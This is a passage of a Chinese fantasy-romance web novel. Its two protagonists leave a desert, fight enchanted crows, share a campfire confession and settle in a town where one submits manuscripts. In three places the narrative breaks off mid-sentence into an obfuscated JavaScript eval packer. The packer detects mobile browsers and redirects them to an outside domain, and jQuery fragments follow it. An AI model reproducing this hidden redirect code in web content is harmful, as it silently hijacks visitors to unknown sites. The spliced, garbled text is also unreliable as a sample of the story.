“我昨天思来想去,还是觉得不要正面起冲突为好,毕竟我们并非沙漠里的土著民,搞不好事态会失控。所以,才想到让麦芽糖在咱们走后,帮咱们去转达。不过,长晓,多谢你。” “谢我干什么?” “谢谢你的临渊石镜,不然我也想不到这个办法。” 长晓笑道:“这个没事,东西就是用来用的。你都让麦芽糖说什么了?” 方才在石镜里,二人只看到麦芽糖一家一户地跑,像个说客一样,但石镜只能看到画面,听不到声音的。 “很简单,我就让她跟所有人说,‘前几日两位客人实则来自寒声城方向’,没别的。” “你是对的,”长晓深深点头,“只让她叙述事实,剩下的,具体旁人怎么想,那不是我们能左右的事情了。” 文落诗扬起头,看向枝叶中勉强露出的太阳:“尽力了。我从不奢求靠你我二人就能扭转一群人的想法,但我该做的都做了,没什么遗憾了。” 长晓当然同意:“方才看石镜中,众人的反应似乎还不错,不少人开始思考这件事了。” 文落诗道:“算是意外之喜。麦芽糖是自愿帮我们的,我不想给她太大压力。” “我懂。”长晓没多言。 “但刚刚,我看她小嘴叭叭不停,估计是她自己又添油加醋了一番,说了点什么寒声来的人也很好、不应该因来处而区别对待客人的大道理。不管了,她爱说什么是她的事情。” “嗯。” “长晓?”文落诗见他不怎么回应,疑惑转头,“你是不是在想,我为什么要逃避问题?” 长晓思虑许久,摇头:“我反倒觉得,这不是逃避,而是一种更有效的解决方式。这次要是换做我做决定,怕是没你做得好。要是我,我恐怕真的会留下来,当面撕破,直面这些事。” 文落诗知道他没说完,静待下文。 “但是也就在刚刚,我有些明白你的处理方式了。有时候正面硬碰硬,不一定是最好的解决方法,最终难免不欢而散。倒不如像你这次,你我先离开,给所有人保持一个完整的美好的回忆,之后再挑明你我从寒声来这个事实,大家基于美好回忆,接受度会高些。” 文落诗凑到他面前,眨巴眨巴眼睛:“呦,这是在夸我喽?” 她只是随口一说,没想到长晓当真了。 “嗯,当然是在夸你。” 文落诗觉得脸上一热。 大约两人都知道,沙漠的这段经历,到此处,算是收尾。 他们不可能改变所有人,但尽力了。 石镜中,那些村民们在麦芽糖口中知晓事实后,思想已经开始动摇,这就很好了。 至于未来怎样,就交给接下来的时间吧。 这之后,两人继续向前走。沙漠只是泼墨森林中的一处,而穿过了沙漠,又回到了熟悉的森林之中。 与之前不同的是,这一次,各种新鲜的魔兽变多了。每走几步,就会发现前方的草丛中有动静,抑或是刚平静下来,就觉得头顶上一阵凉风袭过。 好在,文落诗和长晓从来不担心打不过这个问题,于是一路走来,粉烟蓝光交织,倒是给黑暗之中添加了不少光彩。 眼瞧着天要黑了,两人碰上一群魔化的乌鸦,嘎嘎叫着,朝他们狂奔而来,铺天盖地,挡住了所有仅存的光亮。 文落诗颇为无语地看着这群乌鸦:“这下都不用等天黑了……” 说罢,她扬起手,正欲施法攻击,却被长晓一拦。 “你歇会吧,这回我来。” 文落诗闻言,毫不客气地往地上一坐,好整以暇地看着长晓。 长晓见她二话不说直接坐在地上,略微一怔,随即,他笑着摇摇头,衣袖间蓝光涌出,一张琴浮现在面前。 他静静抱着琴,也坐在了文落诗旁边。 “我送你的琴啊?”文落诗满脸惊讶,可她转念一想,就明白了长晓要做什么。 她的法器一直是岁寒笔,在长晓面前展露过,但长晓的法器,她却是没见过的。 如今,长晓指尖流动于琴弦之上,七弦接连震动,发出阵阵蓝光,如同波浪一般袭向远处,震得那群乌鸦连连大叫,折断翅膀,摔落在地。 文落诗看了看地上翻白眼的乌鸦尸体,又看了看身旁静坐的翩翩君子,见他不紧不慢波动琴弦,从容自若,眉目清淡,一时间,她觉得岁月安稳而美好。 文落诗欣赏了他一会,实在觉得手痒,便从袖中抛出岁寒笔,在空中唰唰画了两笔,砍掉了几只乌鸦的翅膀。 “你什么时候把我送你的琴炼化成法器的啊?” 乌鸦太多,一时半会打不完,干脆开始闲聊。 “你在寒声城修炼的一年半载,我也没闲着。” 文落诗长长地“哦”了一声,继续问道:“那你之前呢?” “之前是一把蓝色玉石的琴。回头送给你。” “啊?我不要我不要,我又不怎么会弹琴,只懂个皮毛。” “无妨,没事的时候拿来玩就行。” 文落诗一噎,莫名被别人送了东西,好像还是个贵重东西。 她想不出怎么拒绝,只得转移话题:“法器这个东西,能说换就换吗?” 长晓依旧低着头,不看她,也不看前方的乌鸦,只是一味地抚琴:“的确没那么容易,但我想换。” “我当时送你琴的时候,没想过你还能这么用……” “嗯,我也没想过。但是我觉得,把法器换成你送的琴,也挺不错的。” “多折腾啊。” 长晓转头,柔柔地看她一眼:“这么操心我啊?” 文落诗别过头去,拒绝看他:“我还是操心操心今天晚上在哪里过夜吧。” 长晓垂眸一笑,不再多话。 没过多久,所有乌鸦全部倒地。 紧接着,长晓食指一勾弦,发出一个重重的低音,地上的所有乌鸦尸体碎成了黑色云烟,消散开来。 文落诗心中很是震撼,因为她很清楚这群乌鸦并非善茬,她一个人对付,胜是肯定的,但若是想保证不伤自己分毫,恐怕要拼尽全力,最终筋疲力尽。 可他呢?波澜不惊,面对如此大敌,丝毫没有压力,仿佛一切得心应手。 自己什么时候能厉害到这个程度呢? 以及,为什么非要用我粗制滥造的琴呢? 长晓收了琴,转身之时,就看到文落诗这一副愣神的模样。他伸手轻轻抚过文落诗脑后的长发,眉宇一挑:“发呆呢?” “啊,”文落诗回过神来,察觉到他的手正停留在自己头发上,“方才乌鸦来之前,我隐约看到不远处又个湖泊,不如晚上去湖边。” “好啊。”长晓收回手,起身,又把文落诗扶起来。 后来,文落诗找来了些木柴,在湖边点起一处小型篝火。湖不大,但此处视野开阔,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026647|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶上没有遮挡,夜深之时,空中的星星逐渐清晰。 抬头能见到星光悬于空中,低头也能见到星光映在湖面上,染得湖水中荡漾着碎金似的。 不知为何,两人今晚到此,都没怎么说话,沉醉在万籁俱寂中,欣赏着满天繁星和身旁织金的静潭。 好像有一股名为夜色东西,流淌在这其中,让人的心砰砰直跳。本是夏年之间,哪怕森林中夜晚风凉,此刻二人也被篝火烤得暖融融的。文落诗好几次透过火光,看向长晓若隐若现的侧脸,心中都有种说不清的感觉。 “想说什么?”长晓忽而问道,“怎么一直在看我?” 文落诗犹豫许久,缓缓开口。 “我在想,我从小到大,几乎一直都是一个人。” 长晓不语,等着她继续说。 “我是家里的独女,没有任何兄弟姐妹。小时候邻居家没有和我年龄差不多的孩子,我始终是一个人。后来去学堂了,我又遭遇了点事情……嗯,我应该跟你讲过。所以我也没有称得上同窗的人。再后来,我去到重霄,背井离乡,又是一个人。当时我成绩还不错,但因为我是从青溪里来的么,跟大家都不熟,反而会因为成绩好被孤立,在当地,甚至没有称得上是朋友的人。当时只剩下个老先生很照顾我,让我不会毫无依靠,只是后来……”文落诗想到什么,没再往下说。 “想说什么?”长晓轻声问道。 “我想说,所以,遇见你之后的一切,对我来说,太新了。” 长晓眸中掠过一丝惊讶,像是没想到他这么说。 “太新了,遇见不同的人,交到不同的朋友,碰上不同的事……最重要的是,我才知道,我也可以不是自己一个人面对所有。” 见长晓不说话,她笑叹一口气,眼神中颇有些自嘲:“是不是想说,我把什么落下了?没错,我是有朋友,但你说彦月啊……他当时是私下找工匠学艺,我们平日里也碰不上,后来他离开了第七重天,我却在重霄留了很久。长大之后我们虽然见过无数次,但每次都不知道下次是何时何地。所以要是真的有什么棘手的问题,甚至联系不上他。 “哦,我最好的一个朋友叫舒允,之前提过,她是龙族,是鎏金海域的公主。我俩每年都会见面,我找她或者约个别的地方,但除见面的几天外,毕竟中间相隔太多,也很少有什么音讯。 “我点头之交的人很多,除了极个别的人,大家对我的评价也都不差,但真正走近我的人……寥寥无几。” 说到此,文落诗抬眼。 “以前的我,不会想到有一天,我能和你在湖边点篝火,看星星。” 她的面庞掩映在火光之后,明明灭灭。长晓听完她的掏心掏肺,沉默很久,回答道:“以后,你不会再是一个人面对所有。” 文落诗没说话,但长晓看到她点头了。 深夜之中,星光璀璨,湖光温柔,火光安宁。 两人安静了许久。 “你是不是明年就过生辰了?”一片寂静中,文落诗忽然再次开口,“你之前说,你的生辰在七千六百五十四年,那是不是明年,就两千三百岁了?” 长晓一怔,显然是几乎没思考过这个问题。他点头:“是。” “具体哪天,我方便问吗?” “……季二月十六。” 文落诗“嗯”了一声,不再说话。 无论是神仙妖魔,都是寿命漫长。生辰此事,多数是不在乎了。若是真在乎,按照上古时期流传下来的说法,那便是只过百岁生辰,不看零头。 许是近百年来太过于忙碌,若不是她提醒,他可能都不记得了。 这一夜,二人都没睡,挨着篝火,不知在想什么。 66. 篝火燃照星满天 夏年年底,流火之时,两人走完了整个泼墨森林。 整整一年,再次见到除黑色之外的景致时,他们几乎欣喜若狂。连空气都是甜的。 前方青瓦白墙的房屋逐渐清晰,天色却也在此时渐渐暗下来。 “你在参商镇有产业吗?”文落诗犹豫许久,还是问了这个问题。 毕竟,如果有的话,她还挺想继续蹭吃蹭住的。 长晓被问得一怔,摇头:“这回没有了。” “没事,那住客栈,我的钱应该够住小一年的。” 长晓看着她神采奕奕走在前面,忽然间意识到,森林之中的时光结束了。 再往后,他恐怕没有机会和这个姑娘在篝火旁边互相靠着入睡,或是在茅草屋里搂着她。而她呢?没有了森林中的惊心动魄的经历,安稳下来后,大概也不会和自己那么亲近了吧。 他脸上闪过一丝苦笑。好像南柯一梦惊醒,万事如初,而梦里的一切就要消失了。 想到这里,他有些不舍这个森林。特别是这个森林中的沙漠。 “长晓你快过来看!” 他正回头凝望那片浓墨般的森林,忽觉文落诗在前方叫他。 “别再怀念森林啦!快过来!”文落诗捧着一个小型花盆,正踮起脚尖,呼唤长晓过来。 长晓这才注意到,此处位于城镇边缘,日暮时分少有人烟,却有一个女子在地上摆摊。她售卖的不是常规的物品或食物,而是一群形形色色的从未见过的植物。 那摊主女子听文落诗如此说,来了兴致:“二位当真是穿越泼墨森林而来?” 文落诗抱着那一盆绿油油的不知道是什么的植物,挪不开眼睛,只有长晓淡淡点头。 摊主眼中闪过惊奇,想要开口,却好似犹豫了一番,咽了口吐沫,没再说。 “长晓你看!”文落诗把那盆植物递到他面前,“这位魔娘说,这些东西叫‘石莲’,大多只能生长在沙漠里。她特意从沙漠里挖了些沙子来养。” 摊主补充道:“这类植物叫石莲,姑娘手里拿的那个,是石莲的一种,叫‘花月夜’。” 长晓仔细一瞧,也注意到了植物下方的黑色沙子。 文落诗手里那盆,长成一个莲花形状,每一瓣叶子都是饱满的翠玉色,而叶子的边缘处还嵌着一丝淡粉色。 长晓看着地上,眼神中情绪开始波动:“这些石莲,可是来自泼墨森林中的那片沙漠?” 摊主惊道:“你们穿过森林时,碰上了那片沙漠?” 文落诗把爱不释手的花月夜放回摊上,轻轻“嗯”了一声。 听上去,此人和那片沙漠有联系。不过她下意识觉得,不知根知底时,还是不要透露过多。 摊主了然,解释道:“那片沙漠中,有一处长满了石莲。这石莲与别的植物不同,几乎不需要水,只靠沙子就能生存。若是像其他植物一样浇了水,反而会死。我当初从那里带了几棵不同的石莲出来,它们长大后,实在太大了,我就给它们分盆,分出许多小石莲。这不,就是我摊上这些,二位看看有没有喜欢的?” “咱们没碰上石莲哎。”文落诗默默给长晓传音。 长晓的神色却不如她这般轻松,他打量着摊主,像是有什么话想问。 文落诗望了望天色,发现太阳已经完全沉到地平线之下。夏年的天长,此时已经很晚了。放眼望去,几户最近的房屋都纷纷落了锁。 “要不,我先进镇去找客栈,随后给你传信?” 她看出长晓怕是短时间走不了,便如此问道。 “也好,”长晓毫不犹豫答应,“我随后就到。” 文落诗走后,摊主连忙问道:“刚刚那位姑娘是……” “我一个朋友,我们一起走过了这片森林。” 长晓脸上浮起笑容。他像是在说一个很普通的事情,但说者和听者都深知这句话的重量。 摊主却对长晓的前半句话将信将疑,不过,她也没挑明。 长晓叹了口气:“我们路过沙漠之时,有人告诉过我,沙漠中有一大片石莲。我本想带她去看,但最终想想,还是算了。” 摊主抬眼:“怕是那聚落中人告诉你的吧?” 长晓道:“没错。” 摊主闻言,饶有兴致地扬眉一笑:“那么,告知你此事的那人,可有告诉你石莲代表什么?” 长晓微微低头,看不出情绪:“说了。” “怎么说的?” 长晓犹豫了一下,抿唇回答:“说是沙漠中人有个习俗,男女二人定情之时,会一同栽种下一棵石莲。久而久之,种的人多了,形成了沙漠中一片盛大的石莲群。至于说法……不同于其它植物寿命短暂、芳华转瞬即逝,石莲寿命漫长,千百年经久不衰,因此,寓意二人长长久久。” 摊主眼神含笑:“嗯,跟你讲故事的这人挺靠谱的,说得都对。” 长晓心想,麦芽糖是挺靠谱的,还特意跟他说了这事。 “这事,刚刚那姑娘不知道?” “嗯,那人告诉我后,我没告诉她。”长晓低头看着面前各式各样的油绿色石莲,“也最终没带她去看。” 摊主一听这话,忽然大笑:“我算是懂了,你们这些年轻人,真是拉拉扯扯,欲迎还拒,把事情搞得这么复杂。” 长晓的神色暗淡下来:“前辈应当知道,凡事不可强求。就像这些石莲,生来就是属于开阔的沙漠的,若是离了黑沙,强行被带来繁华的镇上,也无法生存。大家都说镇上好,可是石莲就是无法适应这种环境。” 摊主眼珠一转,听懂此言背后的意思。她豁然笑道:“我就说嘛,年轻人,为什么总是悲欢离合的,就是因为想太多了。要我说,这些石莲自然是不喜欢镇上的环境,但它们若是真想在镇上活下来,也能用尽全力,找出自己生存的办法,而且,说不定还能适应了新环境,活得挺好。你看我这些,不是都活得好好的?” 长晓没回答。 摊主继续道:“既然你遇上过沙漠里那片村落的了,我就简单讲两句我的故事。我也是从那村子里出来的。之前觉得自己在沙漠里活久了,啥啥都习惯了,不可能移居到外面,肯定适应不了镇上。后来呀,碰上了个中意的人,也就慢慢在这参商镇上留下来了。” 说到此,不远处一扇院门忽然打开。一个成年男子探出头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034185|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,招呼摊主回去。 摊主也冲他招招手,示意自己很快就回家。 “至于我俩的孩子嘛,她不想出来,还在沙漠里,让长老带着。”摊主慢慢悠悠道,“任何事情都没到绝路,别因为想太多,提前把自己限制住。” 长晓听到此,忽然俯下身,拿起了之前文落诗看上的那棵石莲。 “多谢前辈,不耽误您收摊了,您快回家吧。”他将一小块魔石交给摊主。 摊主盯了他好一会,才收了钱,眉眼弯弯:“快去找她吧!”说罢,她一挥手,地上的石莲化作一道道绿光,收入她的袖中。 长晓停在原地,看着那摊主回到院子里。给她开门的那男人像是道了声“回来了?”,而她也笑得很自然。一切是那么平常,也是那么安稳幸福。 他已经知道,面前这人是谁了。 * “麦芽糖的母亲?这么巧?” 文落诗看着面前桌上那棵油绿的石莲,眼神直愣愣的。 “嗯,就是她。”长晓落座在桌前,借着夜明珠的光亮,细细看着文落诗的侧脸,“送你的,你不是喜欢这个吗?” 文落诗盯着石莲,皱眉:“能活吗?” “麦芽糖的母亲说了,不需要浇水,只靠沙子就能生存。” “真新鲜了,”文落诗的指尖碰碰那肉嘟嘟的叶子,“第一次见到这种植物,以前我养花,经常动不动就给养死了。” 长晓轻笑:“石莲不会的,而且它寿命漫长。” “我还是担心我给养死了。” “不会,有我在你身边,我帮你养。” “那之后咱们分开了呢?” 长晓一怔,没说话。 “算了,到那时候,你带走养就好了。” 长晓语气有些低沉:“我送你的,怎么会再要回来?” 文落诗想想,觉得也是,总不能现在让他帮忙养,自己坐享其成,回头又让他带走。还不如自己从现在开始学习自己养。 她思考着怎么养石莲,忽然想到一件事:“哦对,我帮你把接下来一个月的住宿费都交了,你不用再去付钱了,安心住。” 长晓才反应过来:“你要了两间房?” 文落诗惊讶抬头:“不然呢?” 长晓泄气,只道:“那之后去吃饭,不许再跟我抢着付钱。” “你都送我石莲了,不用再请啦!我知道这东西很贵的。” “这个是我送你的,不算。” 文落诗本来还想说什么,却觉得,这样显得她太计较钱了,干脆什么都不说了。 她捧起桌上的小瓷盆,起身:“我的房间在你对面。在森林里待了一年了,很久没有好好睡觉了,你早点休息,好好睡一觉。” 长晓颔首:“你也是。” 文落诗走到门口,忽然转身:“我可能又会懒床不起,没有上午,你不用管我。” 长晓十分无奈:“好。” 文落诗回到自己房间之后,点亮夜明珠,仔细捧着石莲,左看右看。 这东西要是她自己买的,也就算了。 既然是长晓送的,绝对不能给养死了。 67. 半边秋雨半边月 “这是一座疯狂的城市。所有人看似都很平静,实则内心都很疯狂。” 文落诗坐在客栈中的窗边,望着街上被秋风卷起的落叶,写好手札最后一句。 她平日里无事的时候,也会自己写写手札,记录生活中的各种事情。手札里有她的各种碎碎念,也有一些所见所闻。 至于参商镇,她在此住了一个月,最大的感受,就是这里平静之下的暗流涌动。 秋年是许多人最喜欢的时节。初入秋时,空气中还有不少余热,而凉风习习,秋高气爽,让人很是舒服。只不过,一个月前还是炎炎夏日,街边的树叶还挺立在枝头。转眼间,这叶子就黄了,被吹落在地。 好像一切正在以不可预估的速度腐朽着,而世间万物身处其中,浑然而不自知。 这一个月间,长晓几乎每天都在忙什么,文落诗路过他的房间,从门缝里看,见他总是皱着眉头,盯着桌上的书卷或事来信。于是,她决定不打扰他,自己出去四处看看。 参商镇最出名的是一处竹海。文落诗初次见到竹海时,就觉得此处名不虚传。 竹林并非常规的翠绿色,而是墨绿。一旁的水潭中有姣好的荷花,池中的荷叶也仍是夏日里那种绿油油的铺张开来之感。 明明是盛亮的翠色,许是因为太过饱满,反倒令人患得患失。文落诗对此的初印象,是一种流失的感觉,仿佛看到此景,心情更多的是一种难得的平静,以及淡淡的悲哀。 好像十分平静,可死寂之中,却是有什么在跃动着。 忽而一阵狂风吹过,荷叶接连颤动,莲蓬摇摇欲坠;竹叶也窸窣摆动,摇摆不定。视线之中,一切变得混乱,躁动起来。 牵一发而动全身,盖如此。 一连好几天,文落诗都会独自来到这片竹海,有时候在竹林间坐下来写稿,断断续续,以泼墨森林中的经历为蓝本,写好了一篇新故事。 同时,她也重新鼓起勇气,在月底之时来到参商镇的欲晓书局,再次投稿。 参商镇是个很有意思的地方,欲晓书局和扶月书局,竟然开在同一条街上,还是门对门。 有点好笑,也有点讽刺。 文落诗站在大街中央,左看看右看看,有种被两个匾额同时笼罩的奇怪感觉。 一阵秋风起,伴随着枯叶碎裂的声音,周围人的话语声也逐渐入耳。见他们叽叽喳喳个不停,文落诗凑上前去,才发现他们一个个手捧话本,正在讨论其中的情节。 仔细一看,书皮上赫然写着“覆雪”二字。 作者竟是覆雪,文落诗心中顿时很安稳,那这本书,她一定已经读过了。至于他们刚刚讨论的情节……她脑子一转,对上号了。 有个姑娘见她感兴趣,本想把她也拉去闲聊,文落诗摇摇头,说自己就不参与讨论了,以免因为提前知道了故事的发展,不小心透露了后面情节的精彩。 “只可惜,覆雪现在的话本写得都不行了。”一人嘟囔道。 “她最新的书,你看过吗?”一人不服。 “没有,但大家都说不行了。”一人说完,众人纷纷称是。 文落诗心中落寞。这些人,无一人真正看过覆雪最新的书,却都以世间的流言为依据,使别人的观点,成为了自己的观点。 想到覆雪曾说,自己新写的稿子,书局已经不收了,她就觉得心中难过。这种难过,大约只有像她这种一路陪伴覆雪的读者才懂吧。 写作是个被边缘化很久的行业,因为变现能力弱。 一个覆雪而已,也很少有人会珍惜。 文落诗手里攥着自己的稿,深吸一口气。 她刚想提起裙摆,向欲晓书局走去,就见一个人慌慌张张地跑出来,在街上四处乱窜。跑了一会,他停下来气喘吁吁,可眉头依旧紧锁,像是在思考什么人生大事。 文落诗驻足围观时,立刻有好事者上前去问道:“这位魔郎,你这是怎么了?” 见他不说话,又一人道:“可是被拒稿了?不要紧不要紧,换一家再投便是了。” 几人一度规劝,他却依然身体僵直,目光茫然。文落诗见状,正想走上前去安慰他,那人却忽然像烧开的水壶一般跳起来。 只听他道:“我遇到了一个人生重大难题!” 众人疑惑之际,那人做出夸张的动作,像是悲怆之极,仰天长啸道:“欲晓书局和扶月书局,同时都想收我的稿,我该答应哪家啊!” …… 闻此言,场面一度沉默,有人震惊,有人瞪眼,有人咧嘴,更多人是无奈。 “真是旱的旱死,涝的涝死啊!”一老者手里拿着刚被退回的稿件,狠狠叹道。 “等一下!”不知是谁喊道,“你难道不是这行的规矩吗?怎么可以把同一份稿件投给两个书局?” 那人却面色如痴如醉,长叹道:“我当然知道,但敢问在座的各位,哪个人成名前,不是一稿多投过?就连覆雪,据小道消息说,当年也不止……” “行了,这里是大街,所有人都站着,没有‘在座的’,你消停吧。”文落诗实在听不下去了,走上前去,指尖飞出一道粉烟,封住了此人的口。 大约是这里临着书局的缘故,物以类聚人以群分,所有人都看到了文落诗的粉烟,却几乎没有人向她投去任何鄙夷的眼神,像是大家对此习以为常。 而文落诗对此早就不在乎了。若是往常,她会惊讶,会觉得不对劲,会等待着别人低声议论她几句。可是不知从何时起,她不再在意这些了。像是心里有了足够的底气和信心。 那人无法再说话后,她转身就走,打算进书局。忽而一个年轻妹妹跑来,拉拉她的衣袖,问道:“姐姐,所以我写的稿,到底能不能同时投给两个书局啊?” 文落诗见她眼神澄澈,便耐心转过身,道:“这个我说了不算。对于书局掌柜来说,这种举动自然是极为不堪的,因为你可能会白白浪费他的时间。试想,若是两个书局都看上了你的稿,像刚刚那人那样,你总会择其一,而另外那一家的掌柜,不是白白浪费了看你稿件的时间和对你的期望吗?” “哦,我知道了。”那年轻妹妹低下头。 “但是,对于咱们这些写稿的本来就穷的人来说,确实是多了一条出路,毕竟总不能在一条路上……呃……等死。” 对,就是等死。 虽然我们不至于像凡人一样饿死,但是我们会被当今世道上的吐沫星子喷死。 覆雪的名声都能被诋毁成现在这个样子,更何况我们这些小人物? “也是哦。”年轻妹妹若有所思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043931|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总之,这事我说了不算,你循规蹈矩就可能永无出路,你抛弃礼义也说不定能有所谓‘好结果’,就看你在乎什么了。” 文落诗说的是事实。虽然所有人都知道一稿多投不对,但就是有很多人照做不误。 智者见智,仁者见仁罢了。 不过,她从来不犹豫。她看准了欲晓书局,不管是从道德上还是从信念上,都只会死盯着这一家的。 于是她走进门,交稿。 不同于上次在寒声城的惊慌,这回她似乎轻车熟路,自信走入,坦荡走出——虽然她也是第一次来参商镇中的这个地方。 后来,从欲晓书局出来后,文落诗又去了对面的扶月书局。 覆雪曾在寒声城中说过,她会在这里待很久,如果有时间可以来找她。彼时,文落诗没想到自己真的会踏上旅程,也没想过自己真的会来这里。 进入参商镇的第一天,文落诗就来过这里找覆雪。那时覆雪不在,掌柜说让文落诗今天来。 可是进入书局,掌柜再次摇了摇头。 “覆雪离开了?”文落诗惊道。 掌柜是个年轻人,却学着老古板的样子,深深叹息道:“她昨日提前过来,处理完事情就离开了。我提了你要来这件事,她让我给你捎句话。” 文落诗顿时提起精神。 “她说,想搭个线,希望你认识一个人。她觉得你需要这个人,而这个人也需要你。” 抛砖引玉至此,文落诗以为掌柜很快就要说出一个名字了。 可掌柜用一种比她还好奇的语气说道:“可是,覆雪未曾道明此人的名姓。” 文落诗一愣。 掌柜又道:“而且,她也未说此人在何处,只道相信你在旅途中,会与此人遇上。” 文落诗的表情从愣神到惊讶,再到不解。 掌柜叹息道:“最后一还有一句。不是需要他来拯救你的投稿,是需要你去拯救他。” 文落诗:“……” 这不是属于故意吊人胃口吗?铺垫这么多,最终啥也没说。早知道是这样,还不如不说呀! 覆雪你话本里经常这么写也就罢了,现实生活中为什么欺负我啊! “你说说,你说说,”掌柜急道,“她这不是没事找事吗?偏偏我还得跟你一句句转达,不然算我失约。哎呀呀,真搞不懂你们文人都在想什么。” 文落诗刚想反驳,却忽然脑子里闪过什么,怔住。 也不知是为什么,她下意识觉得,掌柜提醒了她。覆雪能说出这些不明所以、十分不符合她风格的话,或许还真是个信息。 之前文落诗就觉得,覆雪刻意隐瞒了什么。没准通过这件事,她能知晓一二。 好复杂。她是覆雪的忠实读者,却对她的私生活没有任何兴趣,所以,往昔崇拜的人变成今日的朋友后,最棘手的麻烦就是,她对覆雪一无所知。 还没来得及了解对方,对方就给她抛来一个巨大的难题。 文落诗在离开书局的路上,暗暗决定,把覆雪之前写过的话本全部再看一遍。虽说文章的思想和作者思想要区分开来,但文章毕竟出自作者之手,说不定能找到什么线索。 望着蔚蓝如洗的天空,她本想让头脑歇一歇,却忽然见一道黑光冲着自己飞来。 68. 半边秋雨半边月 “他、怎、么、敢、的!” 文落诗把来信认真读了三遍,几乎咬牙切齿。 不到一个月前,她想赚点外快,于是有人约稿,她就答应了。内容很简单,让她给某个售卖的物品写篇文章作为宣传。 结果,现在她的稿被打回来了,原因是觉得她写得有点短。 文落诗快被气疯了。自从她正式以笔为生,从来没有人敢质疑过她的文采,也更没人会把她的稿打回来。可以质疑她的逻辑,可以质疑她的阅历,但是,怎么可以因为写得有点短而把整篇稿子打回来! 而且,不是你要的“简短”吗? 文落诗出了一身热汗,心里骂了对方无数句她能想到的不脏的话。顶着阳光,她黑着一张脸走在街上,好像每狠狠迈出一步都是在跟街道较劲。 忽而街角处凉风吹过,她脚步顿住。 人潮如初,没人因为她生气而注意到她。茫茫人群熙攘在周围。好像她觉得毁天灭地的事情,只是因为她沉浸在自己的世界里,而其实,没有旁人会在乎。 拿着自己被退回的手稿,走在街上,文落诗忽然体会到了何为“无意义”。 那一瞬间,她好迷茫,像是极度激动过后的刹那冷静,怀疑自己在做的事情,怀疑自己的一切,不知道未来何去何从。 迷迷糊糊地,她走回了客栈,爬上楼梯。 路过长晓的房间时,她见房门虚掩着,便无意识凑过去瞧。 谁料刚好在此时,门开了,她差点一头撞到长晓身前。 “呵,”长晓轻笑一声,扶住她的后背,“来找我?” 文落诗垂眸:“刚回来,顺便看看你在做什么。” 长晓的目光从她身上扫过,停留在她下垂的右手上,他注意到,那手里紧紧攥着一团废纸。 “你这是……” “被人退回来的稿件。本来想赚点零头,结果人家嫌我写得不好。” 许是长晓的语气太过于温柔了,文落诗觉得,自己的一腔委屈瞬间涌起。 她正想转头离开,却被长晓一拦。 “废稿给我,我看看。” “都已经被我揉烂了。”文落诗没好气。 “那我帮你去扔。” 文落诗知道拗不过他,干脆认命,把废纸团往他手里一揣,转头回屋。 长晓笑着摇头。他很少见文落诗生气,平日里见她都是浅笑盈盈的,整个人看上去情绪淡淡的,行事不紧不慢、有条不紊。这种人,看上去性格无聊,实则一相处就会发现,大有魅力所在。 只不过,今日这种发小脾气的样子,他倒是觉得很有意思,也格外珍惜。 仿佛这个姑娘就该是这样,这才是自由真实的样子。 文落诗走后,长晓出了一趟门,去处理各种纷杂的事情。回来的路上,他想起那团还在他袖中的纸,便打开来。 确实被她揉得很皱很烂,都已经快碾碎了,看不清上面写了什么。 唯一能隐约看清的一行字,长晓眯着眼,仔细辨认。 “就像一条注定会被打湿而沉入大海的纸船,也像一盏终会熄灭而不知所踪的水灯。” 虽然不知道她是在给什么人写什么类型的文章,但长晓第一反应就是觉得,这个句子很美。 而回去的路上,反复想起这个句子,他又有些想哭。 甚至无法解释为何,只是从几个普通的、连上下文都没有的字眼中,感受到了无尽的苍凉与悲伤。 或许这就是属于文人的独有的浪漫。长晓心想。 不知不觉回到客栈时已是傍晚。秋年间,天是黑得越来越早了。 文落诗的房间灯还亮着。 长晓想也没想,轻轻敲了几下门,就从门缝里瞧见有个淡蓝色的身影走过来。 “找我?” 而长晓看了她很久,没说话。 文落诗被他看得懵懵的,心下疑惑。 许久后,长晓似乎是看够了,嘴角挂着笑意,开口道:“要不要来我这里喝杯茶,聊聊?” “不要,我要休息。”文落诗的情绪很长,白天的烦闷还没结束。 长晓无奈看着她,眼神好像在说,你这个样子,想休息也休息不好啊。 文落诗知道他什么意思,心软下来,却还是嘴硬道:“晚上不能再喝茶了。” “喝水也行,”长晓失笑,“主要是怕你一个人待着,脑子里想一堆事情,然后越想越难受。” 算了。文落诗不再磨叽,去了长晓的房间。 晚上房间里燃着一盏暗灯,没点夜明珠。昏黄中,文落诗无精打采道:“其实你不用管我的。我睡一觉就好了。这种事,我小时候在学堂时经常发生,只不过,我一般从不对别人说。” 长晓看着她懒散无力的样子,不由自主地笑起来。 “你那张废纸上还有残余几个字。” 文落诗一听,猛地抬头,害怕道:“你看到什么了?” 